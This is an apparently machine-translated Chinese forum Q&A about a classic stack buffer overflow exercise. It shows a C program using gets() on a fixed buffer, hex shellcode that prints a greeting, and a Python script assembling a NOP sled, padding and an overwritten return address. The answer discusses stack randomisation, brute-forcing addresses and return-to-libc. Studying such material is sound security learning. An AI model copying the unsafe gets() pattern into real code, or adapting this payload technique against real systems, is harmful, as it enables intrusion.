我正在寻找一些帮助来解决以下问题:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{char buffer[70];
gets(buffer);}
我知道这很容易受到缓冲区溢出的影响。需要92“A”然后接下来的4个字符覆盖eip。我有一个shellcode,我发现它只是打印'hello world',这就是我真正需要做的事情。
"\xe9\x1e\x00\x00\x00"
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\x59"
"\xba\x0f\x00\x00\x00"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xdd\xff\xff\xff"
"\x48\x65\x6c\x6c\x6f\x2c\x20\x57"
"\x6f\x72\x6c\x64\x21\x0d\x0a"
因此,为NOP底座和任何填充留下了37个字节。
(32 nop + 55 shell + 5“A”s + 4指针)= 96
我遇到的问题是获取指针的地址。我似乎无法理解这部分是如何运作的。
如果我的想法出错了,请告诉我,我们将不胜感激。
到目前为止,这是我的Python:
shell="\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x54\x69\x67\x65\x72\x21\x0d\x0a"
nop = "\x90"*32
padding = "A"*(92 - 32 - 55)
pointer = '\x48\xea\x90\xbf'
print nop + shell + padding + pointer
答案 0 :(得分:1)
除非您有某种方法找到正确的偏移(另一个漏洞),否则您将无法知道正确的值。默认情况下,堆栈略有随机化,PAX会更糟糕。
您可以随时使用潜在地址进行多次,并希望获得最佳效果。或者,如果您可以在加载的库中的某处找到正确的指令,而二进制文件不是使用PIE编译的,那么您可以尝试跳转到libc。